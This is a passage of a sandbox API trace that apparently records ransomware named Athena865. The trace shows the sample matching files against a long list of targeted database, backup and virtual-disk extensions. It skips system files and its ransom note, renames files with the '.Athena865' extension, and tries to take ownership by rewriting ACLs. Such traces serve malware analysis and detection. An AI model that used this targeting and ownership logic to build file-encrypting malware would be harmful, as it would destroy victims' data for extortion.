lstrlenW (lpString="idb") returned 3 [0035.368] lstrcmpiW (lpString1="52}", lpString2="idb") returned -1 [0035.368] lstrlenW (lpString="ihx") returned 3 [0035.368] lstrcmpiW (lpString1="52}", lpString2="ihx") returned -1 [0035.368] lstrlenW (lpString="itdb") returned 4 [0035.368] lstrcmpiW (lpString1="752}", lpString2="itdb") returned -1 [0035.368] lstrlenW (lpString="itw") returned 3 [0035.368] lstrcmpiW (lpString1="52}", lpString2="itw") returned -1 [0035.368] lstrlenW (lpString="jet") returned 3 [0035.368] lstrcmpiW (lpString1="52}", lpString2="jet") returned -1 [0035.368] lstrlenW (lpString="jtx") returned 3 [0035.368] lstrcmpiW (lpString1="52}", lpString2="jtx") returned -1 [0035.368] lstrlenW (lpString="kdb") returned 3 [0035.368] lstrcmpiW (lpString1="52}", lpString2="kdb") returned -1 [0035.368] lstrlenW (lpString="kexi") returned 4 [0035.368] lstrcmpiW (lpString1="752}", lpString2="kexi") returned -1 [0035.368] lstrlenW (lpString="kexic") returned 5 [0035.368] lstrcmpiW (lpString1="c752}", lpString2="kexic") returned -1 [0035.368] lstrlenW (lpString="kexis") returned 5 [0035.368] lstrcmpiW (lpString1="c752}", lpString2="kexis") returned -1 [0035.368] lstrlenW (lpString="lgc") returned 3 [0035.368] lstrcmpiW (lpString1="52}", lpString2="lgc") returned -1 [0035.368] lstrlenW (lpString="lwx") returned 3 [0035.368] lstrcmpiW (lpString1="52}", lpString2="lwx") returned -1 [0035.368] lstrlenW (lpString="maf") returned 3 [0035.368] lstrcmpiW (lpString1="52}", lpString2="maf") returned -1 [0035.368] lstrlenW (lpString="maq") returned 3 [0035.369] lstrcmpiW (lpString1="52}", lpString2="maq") returned -1 [0035.369] lstrlenW (lpString="mar") returned 3 [0035.369] lstrcmpiW (lpString1="52}", lpString2="mar") returned -1 [0035.369] lstrlenW (lpString="marshal") returned 7 [0035.369] lstrcmpiW (lpString1="6cc752}", lpString2="marshal") returned -1 [0035.369] lstrlenW (lpString="mas") returned 3 [0035.369] lstrcmpiW (lpString1="52}", lpString2="mas") returned -1 [0035.369] lstrlenW (lpString="mav") returned 3 [0035.369] lstrcmpiW (lpString1="52}", lpString2="mav") returned -1 [0035.369] lstrlenW (lpString="maw") returned 3 [0035.369] lstrcmpiW (lpString1="52}", lpString2="maw") returned -1 [0035.369] lstrlenW (lpString="mdbhtml") returned 7 [0035.369] lstrcmpiW (lpString1="6cc752}", lpString2="mdbhtml") returned -1 [0035.369] lstrlenW (lpString="mdn") returned 3 [0035.369] lstrcmpiW (lpString1="52}", lpString2="mdn") returned -1 [0035.369] lstrlenW (lpString="mdt") returned 3 [0035.369] lstrcmpiW (lpString1="52}", lpString2="mdt") returned -1 [0035.369] lstrlenW (lpString="mfd") returned 3 [0035.369] lstrcmpiW (lpString1="52}", lpString2="mfd") returned -1 [0035.369] lstrlenW (lpString="mpd") returned 3 [0035.369] lstrcmpiW (lpString1="52}", lpString2="mpd") returned -1 [0035.369] lstrlenW (lpString="mrg") returned 3 [0035.369] lstrcmpiW (lpString1="52}", lpString2="mrg") returned -1 [0035.369] lstrlenW (lpString="mud") returned 3 [0035.369] lstrcmpiW (lpString1="52}", lpString2="mud") returned -1 [0035.369] lstrlenW (lpString="mwb") returned 3 [0035.369] lstrcmpiW (lpString1="52}", lpString2="mwb") returned -1 [0035.369] lstrlenW (lpString="myd") returned 3 [0035.369] lstrcmpiW (lpString1="52}", lpString2="myd") returned -1 [0035.369] lstrlenW (lpString="ndf") returned 3 [0035.369] lstrcmpiW (lpString1="52}", lpString2="ndf") returned -1 [0035.369] lstrlenW (lpString="nnt") returned 3 [0035.369] lstrcmpiW (lpString1="52}", lpString2="nnt") returned -1 [0035.369] lstrlenW (lpString="nrmlib") returned 6 [0035.369] lstrcmpiW (lpString1="cc752}", lpString2="nrmlib") returned -1 [0035.369] lstrlenW (lpString="ns2") returned 3 [0035.369] lstrcmpiW (lpString1="52}", lpString2="ns2") returned -1 [0035.369] lstrlenW (lpString="ns3") returned 3 [0035.369] lstrcmpiW (lpString1="52}", lpString2="ns3") returned -1 [0035.369] lstrlenW (lpString="ns4") returned 3 [0035.370] lstrcmpiW (lpString1="52}", lpString2="ns4") returned -1 [0035.370] lstrlenW (lpString="nsf") returned 3 [0035.370] lstrcmpiW (lpString1="52}", lpString2="nsf") returned -1 [0035.370] lstrlenW (lpString="nv") returned 2 [0035.370] lstrcmpiW (lpString1="2}", lpString2="nv") returned -1 [0035.370] lstrlenW (lpString="nv2") returned 3 [0035.370] lstrcmpiW (lpString1="52}", lpString2="nv2") returned -1 [0035.370] lstrlenW (lpString="nwdb") returned 4 [0035.370] lstrcmpiW (lpString1="752}", lpString2="nwdb") returned -1 [0035.370] lstrlenW (lpString="nyf") returned 3 [0035.370] lstrcmpiW (lpString1="52}", lpString2="nyf") returned -1 [0035.370] lstrlenW (lpString="odb") returned 3 [0035.370] lstrcmpiW (lpString1="52}", lpString2="odb") returned -1 [0035.370] lstrlenW (lpString="odb") returned 3 [0035.370] lstrcmpiW (lpString1="52}", lpString2="odb") returned -1 [0035.370] lstrlenW (lpString="oqy") returned 3 [0035.370] lstrcmpiW (lpString1="52}", lpString2="oqy") returned -1 [0035.370] lstrlenW (lpString="ora") returned 3 [0035.370] lstrcmpiW (lpString1="52}", lpString2="ora") returned -1 [0035.370] lstrlenW (lpString="orx") returned 3 [0035.370] lstrcmpiW (lpString1="52}", lpString2="orx") returned -1 [0035.370] lstrlenW (lpString="owc") returned 3 [0035.370] lstrcmpiW (lpString1="52}", lpString2="owc") returned -1 [0035.370] lstrlenW (lpString="p96") returned 3 [0035.370] lstrcmpiW (lpString1="52}", lpString2="p96") returned -1 [0035.370] lstrlenW (lpString="p97") returned 3 [0035.370] lstrcmpiW (lpString1="52}", lpString2="p97") returned -1 [0035.370] lstrlenW (lpString="pan") returned 3 [0035.370] lstrcmpiW (lpString1="52}", lpString2="pan") returned -1 [0035.370] lstrlenW (lpString="pdb") returned 3 [0035.370] lstrcmpiW (lpString1="52}", lpString2="pdb") returned -1 [0035.370] lstrlenW (lpString="pdm") returned 3 [0035.370] lstrcmpiW (lpString1="52}", lpString2="pdm") returned -1 [0035.370] lstrlenW (lpString="pnz") returned 3 [0035.370] lstrcmpiW (lpString1="52}", lpString2="pnz") returned -1 [0035.370] lstrlenW (lpString="qry") returned 3 [0035.370] lstrcmpiW (lpString1="52}", lpString2="qry") returned -1 [0035.370] lstrlenW (lpString="qvd") returned 3 [0035.370] lstrcmpiW (lpString1="52}", lpString2="qvd") returned -1 [0035.371] lstrlenW (lpString="rbf") returned 3 [0035.371] lstrcmpiW (lpString1="52}", lpString2="rbf") returned -1 [0035.371] lstrlenW (lpString="rctd") returned 4 [0035.371] lstrcmpiW (lpString1="752}", lpString2="rctd") returned -1 [0035.371] lstrlenW (lpString="rod") returned 3 [0035.371] lstrcmpiW (lpString1="52}", lpString2="rod") returned -1 [0035.371] lstrlenW (lpString="rodx") returned 4 [0035.371] lstrcmpiW (lpString1="752}", lpString2="rodx") returned -1 [0035.371] lstrlenW (lpString="rpd") returned 3 [0035.371] lstrcmpiW (lpString1="52}", lpString2="rpd") returned -1 [0035.371] lstrlenW (lpString="rsd") returned 3 [0035.371] lstrcmpiW (lpString1="52}", lpString2="rsd") returned -1 [0035.371] lstrlenW (lpString="sas7bdat") returned 8 [0035.371] lstrcmpiW (lpString1="e6cc752}", lpString2="sas7bdat") returned -1 [0035.371] lstrlenW (lpString="sbf") returned 3 [0035.371] lstrcmpiW (lpString1="52}", lpString2="sbf") returned -1 [0035.371] lstrlenW (lpString="scx") returned 3 [0035.371] lstrcmpiW (lpString1="52}", lpString2="scx") returned -1 [0035.371] lstrlenW (lpString="sdb") returned 3 [0035.371] lstrcmpiW (lpString1="52}", lpString2="sdb") returned -1 [0035.371] lstrlenW (lpString="sdc") returned 3 [0035.371] lstrcmpiW (lpString1="52}", lpString2="sdc") returned -1 [0035.371] lstrlenW (lpString="sdf") returned 3 [0035.371] lstrcmpiW (lpString1="52}", lpString2="sdf") returned -1 [0035.371] lstrlenW (lpString="sis") returned 3 [0035.371] lstrcmpiW (lpString1="52}", lpString2="sis") returned -1 [0035.371] lstrlenW (lpString="spq") returned 3 [0035.371] lstrcmpiW (lpString1="52}", lpString2="spq") returned -1 [0035.371] lstrlenW (lpString="te") returned 2 [0035.371] lstrcmpiW (lpString1="2}", lpString2="te") returned -1 [0035.371] lstrlenW (lpString="teacher") returned 7 [0035.371] lstrcmpiW (lpString1="6cc752}", lpString2="teacher") returned -1 [0035.371] lstrlenW (lpString="tmd") returned 3 [0035.371] lstrcmpiW (lpString1="52}", lpString2="tmd") returned -1 [0035.371] lstrlenW (lpString="tps") returned 3 [0035.371] lstrcmpiW (lpString1="52}", lpString2="tps") returned -1 [0035.371] lstrlenW (lpString="trc") returned 3 [0035.371] lstrcmpiW (lpString1="52}", lpString2="trc") returned -1 [0035.372] lstrlenW (lpString="trc") returned 3 [0035.372] lstrcmpiW (lpString1="52}", lpString2="trc") returned -1 [0035.372] lstrlenW (lpString="trm") returned 3 [0035.372] lstrcmpiW (lpString1="52}", lpString2="trm") returned -1 [0035.372] lstrlenW (lpString="udb") returned 3 [0035.372] lstrcmpiW (lpString1="52}", lpString2="udb") returned -1 [0035.372] lstrlenW (lpString="udl") returned 3 [0035.372] lstrcmpiW (lpString1="52}", lpString2="udl") returned -1 [0035.372] lstrlenW (lpString="usr") returned 3 [0035.372] lstrcmpiW (lpString1="52}", lpString2="usr") returned -1 [0035.372] lstrlenW (lpString="v12") returned 3 [0035.372] lstrcmpiW (lpString1="52}", lpString2="v12") returned -1 [0035.372] lstrlenW (lpString="vis") returned 3 [0035.372] lstrcmpiW (lpString1="52}", lpString2="vis") returned -1 [0035.372] lstrlenW (lpString="vpd") returned 3 [0035.372] lstrcmpiW (lpString1="52}", lpString2="vpd") returned -1 [0035.372] lstrlenW (lpString="vvv") returned 3 [0035.372] lstrcmpiW (lpString1="52}", lpString2="vvv") returned -1 [0035.372] lstrlenW (lpString="wdb") returned 3 [0035.372] lstrcmpiW (lpString1="52}", lpString2="wdb") returned -1 [0035.372] lstrlenW (lpString="wmdb") returned 4 [0035.372] lstrcmpiW (lpString1="752}", lpString2="wmdb") returned -1 [0035.372] lstrlenW (lpString="wrk") returned 3 [0035.372] lstrcmpiW (lpString1="52}", lpString2="wrk") returned -1 [0035.372] lstrlenW (lpString="xdb") returned 3 [0035.372] lstrcmpiW (lpString1="52}", lpString2="xdb") returned -1 [0035.372] lstrlenW (lpString="xld") returned 3 [0035.372] lstrcmpiW (lpString1="52}", lpString2="xld") returned -1 [0035.372] lstrlenW (lpString="xmlff") returned 5 [0035.372] lstrcmpiW (lpString1="c752}", lpString2="xmlff") returned -1 [0035.372] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\{9625bc5e-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.Athena865") returned 115 [0035.372] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\{9625bc5e-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" (normalized: "c:\\system volume information\\{9625bc5e-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}"), lpNewFileName="C:\\System Volume Information\\{9625bc5e-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.Athena865" (normalized: "c:\\system volume information\\{9625bc5e-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.athena865"), dwFlags=0x1) returned 0 [0035.372] GetLastError () returned 0x5 [0035.372] AllocateAndInitializeSid (in: pIdentifierAuthority=0x241d4b8, nSubAuthorityCount=0x1, nSubAuthority0=0x0, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x241d4c8 | out: pSid=0x241d4c8*=0x50dc40*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 1 [0035.372] AllocateAndInitializeSid (in: pIdentifierAuthority=0x241d4b0, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x241d4d4 | out: pSid=0x241d4d4*=0x50dc58*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0035.373] SetEntriesInAclW () returned 0x0 [0035.373] SetNamedSecurityInfoW () returned 0x5 [0035.373] SetNamedSecurityInfoW () returned 0x5 [0035.373] LocalFree (hMem=0x529490) returned 0x0 [0035.373] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S MoveFileEx TakeOwnership error %i\r\n" | out: param_1="[ERROR] C:\\System Volume Information\\{9625bc5e-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752} MoveFileEx TakeOwnership error 5\r\n") returned 148 [0035.373] lstrlenA (lpString="[ERROR] C:\\System Volume Information\\{9625bc5e-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752} MoveFileEx TakeOwnership error 5\r\n") returned 148 [0035.373] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0035.373] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xba6 [0035.373] WriteFile (in: hFile=0x154, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x94, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x94, lpOverlapped=0x0) returned 1 [0035.373] CloseHandle (hObject=0x154) returned 1 [0035.374] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0035.374] CloseHandle (hObject=0x0) returned 0 [0035.374] CloseHandle (hObject=0x0) returned 0 [0035.374] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x27014e80, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x27014e80, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x328dba40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x2d64000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{9625bc62-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", cAlternateFileName="{98BB1~1")) returned 1 [0035.374] lstrcmpiW (lpString1="{9625bc62-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.374] lstrcmpiW (lpString1="{9625bc62-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0035.374] lstrcmpiW (lpString1="{9625bc62-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".") returned 1 [0035.374] lstrcmpiW (lpString1="{9625bc62-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="..") returned 1 [0035.374] lstrcmpiW (lpString1="{9625bc62-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="windows") returned -1 [0035.374] lstrcmpiW (lpString1="{9625bc62-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="bootmgr") returned -1 [0035.374] lstrcmpiW (lpString1="{9625bc62-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="temp") returned -1 [0035.374] lstrcmpiW (lpString1="{9625bc62-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="pagefile.sys") returned -1 [0035.374] lstrcmpiW (lpString1="{9625bc62-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="boot") returned -1 [0035.374] lstrcmpiW (lpString1="{9625bc62-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="ids.txt") returned -1 [0035.374] lstrcmpiW (lpString1="{9625bc62-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="ntuser.dat") returned -1 [0035.374] lstrcmpiW (lpString1="{9625bc62-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="perflogs") returned -1 [0035.374] lstrcmpiW (lpString1="{9625bc62-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="MSBuild") returned -1 [0035.374] lstrlenW (lpString="{9625bc62-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.374] lstrcpyW (in: lpString1=0x241e882, lpString2="{9625bc62-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" | out: lpString1="{9625bc62-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned="{9625bc62-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" [0035.374] lstrlenW (lpString="{9625bc62-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.374] lstrlenW (lpString="Athena865") returned 9 [0035.374] lstrcmpiW (lpString1="6e6cc752}", lpString2="Athena865") returned -1 [0035.374] lstrlenW (lpString=".dll") returned 4 [0035.374] lstrcmpiW (lpString1="{9625bc62-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".dll") returned 1 [0035.374] lstrlenW (lpString=".lnk") returned 4 [0035.374] lstrcmpiW (lpString1="{9625bc62-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".lnk") returned 1 [0035.374] lstrlenW (lpString=".ini") returned 4 [0035.374] lstrcmpiW (lpString1="{9625bc62-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".ini") returned 1 [0035.374] lstrlenW (lpString=".sys") returned 4 [0035.374] lstrcmpiW (lpString1="{9625bc62-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".sys") returned 1 [0035.375] lstrlenW (lpString="{9625bc62-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.375] lstrlenW (lpString="bak") returned 3 [0035.375] lstrcmpiW (lpString1="52}", lpString2="bak") returned -1 [0035.375] lstrlenW (lpString="ba_") returned 3 [0035.375] lstrcmpiW (lpString1="52}", lpString2="ba_") returned -1 [0035.375] lstrlenW (lpString="dbb") returned 3 [0035.375] lstrcmpiW (lpString1="52}", lpString2="dbb") returned -1 [0035.375] lstrlenW (lpString="vmdk") returned 4 [0035.375] lstrcmpiW (lpString1="752}", lpString2="vmdk") returned -1 [0035.375] lstrlenW (lpString="rar") returned 3 [0035.375] lstrcmpiW (lpString1="52}", lpString2="rar") returned -1 [0035.375] lstrlenW (lpString="zip") returned 3 [0035.375] lstrcmpiW (lpString1="52}", lpString2="zip") returned -1 [0035.375] lstrlenW (lpString="tgz") returned 3 [0035.375] lstrcmpiW (lpString1="52}", lpString2="tgz") returned -1 [0035.375] lstrlenW (lpString="vbox") returned 4 [0035.375] lstrcmpiW (lpString1="752}", lpString2="vbox") returned -1 [0035.375] lstrlenW (lpString="vdi") returned 3 [0035.375] lstrcmpiW (lpString1="52}", lpString2="vdi") returned -1 [0035.375] lstrlenW (lpString="vhd") returned 3 [0035.375] lstrcmpiW (lpString1="52}", lpString2="vhd") returned -1 [0035.375] lstrlenW (lpString="vhdx") returned 4 [0035.375] lstrcmpiW (lpString1="752}", lpString2="vhdx") returned -1 [0035.375] lstrlenW (lpString="avhd") returned 4 [0035.375] lstrcmpiW (lpString1="752}", lpString2="avhd") returned -1 [0035.375] lstrlenW (lpString="db") returned 2 [0035.375] lstrcmpiW (lpString1="2}", lpString2="db") returned -1 [0035.375] lstrlenW (lpString="db2") returned 3 [0035.375] lstrcmpiW (lpString1="52}", lpString2="db2") returned -1 [0035.375] lstrlenW (lpString="db3") returned 3 [0035.375] lstrcmpiW (lpString1="52}", lpString2="db3") returned -1 [0035.375] lstrlenW (lpString="dbf") returned 3 [0035.375] lstrcmpiW (lpString1="52}", lpString2="dbf") returned -1 [0035.375] lstrlenW (lpString="mdf") returned 3 [0035.375] lstrcmpiW (lpString1="52}", lpString2="mdf") returned -1 [0035.375] lstrlenW (lpString="mdb") returned 3 [0035.375] lstrcmpiW (lpString1="52}", lpString2="mdb") returned -1 [0035.375] lstrlenW (lpString="sql") returned 3 [0035.375] lstrcmpiW (lpString1="52}", lpString2="sql") returned -1 [0035.376] lstrlenW (lpString="sqlite") returned 6 [0035.376] lstrcmpiW (lpString1="cc752}", lpString2="sqlite") returned -1 [0035.376] lstrlenW (lpString="sqlite3") returned 7 [0035.376] lstrcmpiW (lpString1="6cc752}", lpString2="sqlite3") returned -1 [0035.376] lstrlenW (lpString="sqlitedb") returned 8 [0035.376] lstrcmpiW (lpString1="e6cc752}", lpString2="sqlitedb") returned -1 [0035.376] lstrlenW (lpString="xml") returned 3 [0035.376] lstrcmpiW (lpString1="52}", lpString2="xml") returned -1 [0035.376] lstrlenW (lpString="$er") returned 3 [0035.376] lstrcmpiW (lpString1="52}", lpString2="$er") returned 1 [0035.376] lstrlenW (lpString="4dd") returned 3 [0035.376] lstrcmpiW (lpString1="52}", lpString2="4dd") returned 1 [0035.376] lstrlenW (lpString="4dl") returned 3 [0035.376] lstrcmpiW (lpString1="52}", lpString2="4dl") returned 1 [0035.376] lstrlenW (lpString="^^^") returned 3 [0035.376] lstrcmpiW (lpString1="52}", lpString2="^^^") returned 1 [0035.376] lstrlenW (lpString="abs") returned 3 [0035.376] lstrcmpiW (lpString1="52}", lpString2="abs") returned -1 [0035.376] lstrlenW (lpString="abx") returned 3 [0035.376] lstrcmpiW (lpString1="52}", lpString2="abx") returned -1 [0035.376] lstrlenW (lpString="accdb") returned 5 [0035.376] lstrcmpiW (lpString1="c752}", lpString2="accdb") returned 1 [0035.376] lstrlenW (lpString="accdc") returned 5 [0035.376] lstrcmpiW (lpString1="c752}", lpString2="accdc") returned 1 [0035.376] lstrlenW (lpString="accde") returned 5 [0035.376] lstrcmpiW (lpString1="c752}", lpString2="accde") returned 1 [0035.376] lstrlenW (lpString="accdr") returned 5 [0035.376] lstrcmpiW (lpString1="c752}", lpString2="accdr") returned 1 [0035.376] lstrlenW (lpString="accdt") returned 5 [0035.376] lstrcmpiW (lpString1="c752}", lpString2="accdt") returned 1 [0035.376] lstrlenW (lpString="accdw") returned 5 [0035.376] lstrcmpiW (lpString1="c752}", lpString2="accdw") returned 1 [0035.376] lstrlenW (lpString="accft") returned 5 [0035.376] lstrcmpiW (lpString1="c752}", lpString2="accft") returned 1 [0035.376] lstrlenW (lpString="adb") returned 3 [0035.376] lstrcmpiW (lpString1="52}", lpString2="adb") returned -1 [0035.376] lstrlenW (lpString="adb") returned 3 [0035.376] lstrcmpiW (lpString1="52}", lpString2="adb") returned -1 [0035.376] lstrlenW (lpString="ade") returned 3 [0035.377] lstrcmpiW (lpString1="52}", lpString2="ade") returned -1 [0035.377] lstrlenW (lpString="adf") returned 3 [0035.377] lstrcmpiW (lpString1="52}", lpString2="adf") returned -1 [0035.377] lstrlenW (lpString="adn") returned 3 [0035.377] lstrcmpiW (lpString1="52}", lpString2="adn") returned -1 [0035.377] lstrlenW (lpString="adp") returned 3 [0035.377] lstrcmpiW (lpString1="52}", lpString2="adp") returned -1 [0035.377] lstrlenW (lpString="alf") returned 3 [0035.377] lstrcmpiW (lpString1="52}", lpString2="alf") returned -1 [0035.377] lstrlenW (lpString="ask") returned 3 [0035.377] lstrcmpiW (lpString1="52}", lpString2="ask") returned -1 [0035.377] lstrlenW (lpString="btr") returned 3 [0035.377] lstrcmpiW (lpString1="52}", lpString2="btr") returned -1 [0035.377] lstrlenW (lpString="cat") returned 3 [0035.377] lstrcmpiW (lpString1="52}", lpString2="cat") returned -1 [0035.377] lstrlenW (lpString="cdb") returned 3 [0035.377] lstrcmpiW (lpString1="52}", lpString2="cdb") returned -1 [0035.377] lstrlenW (lpString="ckp") returned 3 [0035.377] lstrcmpiW (lpString1="52}", lpString2="ckp") returned -1 [0035.377] lstrlenW (lpString="cma") returned 3 [0035.377] lstrcmpiW (lpString1="52}", lpString2="cma") returned -1 [0035.377] lstrlenW (lpString="cpd") returned 3 [0035.377] lstrcmpiW (lpString1="52}", lpString2="cpd") returned -1 [0035.377] lstrlenW (lpString="dacpac") returned 6 [0035.377] lstrcmpiW (lpString1="cc752}", lpString2="dacpac") returned -1 [0035.377] lstrlenW (lpString="dad") returned 3 [0035.377] lstrcmpiW (lpString1="52}", lpString2="dad") returned -1 [0035.377] lstrlenW (lpString="dadiagrams") returned 10 [0035.377] lstrcmpiW (lpString1="46e6cc752}", lpString2="dadiagrams") returned -1 [0035.377] lstrlenW (lpString="daschema") returned 8 [0035.377] lstrcmpiW (lpString1="e6cc752}", lpString2="daschema") returned 1 [0035.377] lstrlenW (lpString="db-journal") returned 10 [0035.377] lstrcmpiW (lpString1="46e6cc752}", lpString2="db-journal") returned -1 [0035.377] lstrlenW (lpString="db-shm") returned 6 [0035.377] lstrcmpiW (lpString1="cc752}", lpString2="db-shm") returned -1 [0035.377] lstrlenW (lpString="db-wal") returned 6 [0035.377] lstrcmpiW (lpString1="cc752}", lpString2="db-wal") returned -1 [0035.377] lstrlenW (lpString="dbc") returned 3 [0035.377] lstrcmpiW (lpString1="52}", lpString2="dbc") returned -1 [0035.377] lstrlenW (lpString="dbs") returned 3 [0035.378] lstrcmpiW (lpString1="52}", lpString2="dbs") returned -1 [0035.378] lstrlenW (lpString="dbt") returned 3 [0035.378] lstrcmpiW (lpString1="52}", lpString2="dbt") returned -1 [0035.378] lstrlenW (lpString="dbv") returned 3 [0035.378] lstrcmpiW (lpString1="52}", lpString2="dbv") returned -1 [0035.378] lstrlenW (lpString="dbx") returned 3 [0035.378] lstrcmpiW (lpString1="52}", lpString2="dbx") returned -1 [0035.378] lstrlenW (lpString="dcb") returned 3 [0035.378] lstrcmpiW (lpString1="52}", lpString2="dcb") returned -1 [0035.378] lstrlenW (lpString="dct") returned 3 [0035.378] lstrcmpiW (lpString1="52}", lpString2="dct") returned -1 [0035.378] lstrlenW (lpString="dcx") returned 3 [0035.378] lstrcmpiW (lpString1="52}", lpString2="dcx") returned -1 [0035.378] lstrlenW (lpString="ddl") returned 3 [0035.378] lstrcmpiW (lpString1="52}", lpString2="ddl") returned -1 [0035.378] lstrlenW (lpString="dlis") returned 4 [0035.378] lstrcmpiW (lpString1="752}", lpString2="dlis") returned -1 [0035.378] lstrlenW (lpString="dp1") returned 3 [0035.378] lstrcmpiW (lpString1="52}", lpString2="dp1") returned -1 [0035.378] lstrlenW (lpString="dqy") returned 3 [0035.378] lstrcmpiW (lpString1="52}", lpString2="dqy") returned -1 [0035.378] lstrlenW (lpString="dsk") returned 3 [0035.378] lstrcmpiW (lpString1="52}", lpString2="dsk") returned -1 [0035.378] lstrlenW (lpString="dsn") returned 3 [0035.378] lstrcmpiW (lpString1="52}", lpString2="dsn") returned -1 [0035.378] lstrlenW (lpString="dtsx") returned 4 [0035.378] lstrcmpiW (lpString1="752}", lpString2="dtsx") returned -1 [0035.378] lstrlenW (lpString="dxl") returned 3 [0035.378] lstrcmpiW (lpString1="52}", lpString2="dxl") returned -1 [0035.378] lstrlenW (lpString="eco") returned 3 [0035.378] lstrcmpiW (lpString1="52}", lpString2="eco") returned -1 [0035.378] lstrlenW (lpString="ecx") returned 3 [0035.378] lstrcmpiW (lpString1="52}", lpString2="ecx") returned -1 [0035.378] lstrlenW (lpString="edb") returned 3 [0035.378] lstrcmpiW (lpString1="52}", lpString2="edb") returned -1 [0035.378] lstrlenW (lpString="epim") returned 4 [0035.378] lstrcmpiW (lpString1="752}", lpString2="epim") returned -1 [0035.378] lstrlenW (lpString="fcd") returned 3 [0035.379] lstrcmpiW (lpString1="52}", lpString2="fcd") returned -1 [0035.379] lstrlenW (lpString="fdb") returned 3 [0035.379] lstrcmpiW (lpString1="52}", lpString2="fdb") returned -1 [0035.379] lstrlenW 